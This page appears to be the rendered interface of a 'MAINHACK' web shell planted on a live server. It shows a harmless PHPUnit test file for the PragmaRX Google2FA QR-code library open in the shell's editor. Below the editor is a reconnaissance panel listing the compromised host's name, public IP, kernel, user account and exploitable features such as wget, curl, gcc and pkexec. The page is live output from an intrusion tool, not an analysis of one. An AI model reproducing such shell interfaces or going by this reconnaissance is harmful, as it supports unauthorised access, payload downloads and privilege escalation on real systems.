[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Google2FATest.php
<?php namespace PragmaRX\Google2FAQRCode\Tests; use PragmaRX\Google2FAQRCode\QRCode\Bacon; use PragmaRX\Google2FAQRCode\QRCode\Chillerlan; use BaconQrCode\Renderer\Image\ImagickImageBackEnd; use BaconQrCode\Renderer\Image\Png; use PHPUnit\Framework\TestCase; use PragmaRX\Google2FAQRCode\Google2FA; use Zxing\QrReader; use PragmaRX\Google2FAQRCode\Exceptions\MissingQrCodeServiceException; class Google2FATest extends TestCase { const EMAIL = 'acr+pragmarx@antoniocarlosribeiro.com'; const OTP_URL = 'otpauth://totp/PragmaRX:acr+pragmarx@antoniocarlosribeiro.com?secret=ADUMJO5634NPDEKW&issuer=PragmaRX&algorithm=SHA1&digits=6&period=30'; public function setUp(): void { $this->google2fa = new Google2FA(); } public function readQRCode($data) { [, $data] = explode(';', $data); [, $data] = explode(',', $data); return rawurldecode( (new QrReader( base64_decode($data), QrReader::SOURCE_TYPE_BLOB ))->text() ); } public function testQrcodeServiceMissing() { $this->expectException(MissingQrCodeServiceException::class); $this->google2fa->setQrcodeService(null); $this->getQrCode(); } public function testQrcodeInlineBacon() { if (!(new Bacon())->imagickIsAvailable()) { $this->assertTrue(true); return; } $this->google2fa->setQrcodeService(new Bacon()); $this->assertEquals( static::OTP_URL, $this->readQRCode($this->getQRCode()) ); $google2fa = new Google2FA(null, new Bacon(new \BaconQrCode\Renderer\Image\SvgImageBackEnd())); $this->assertEquals( static::OTP_URL, $this->readQRCode($this->getQRCode()) ); } public function testQrcodeInlineChillerlan() { $this->google2fa->setQrcodeService(new Chillerlan()); $this->assertStringStartsWith( 'data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMj', $this->getQRCode() ); } public function getQrCode() { return $this->google2fa->getQRCodeInline( 'PragmaRX', static::EMAIL, Constants::SECRET ); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.64 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002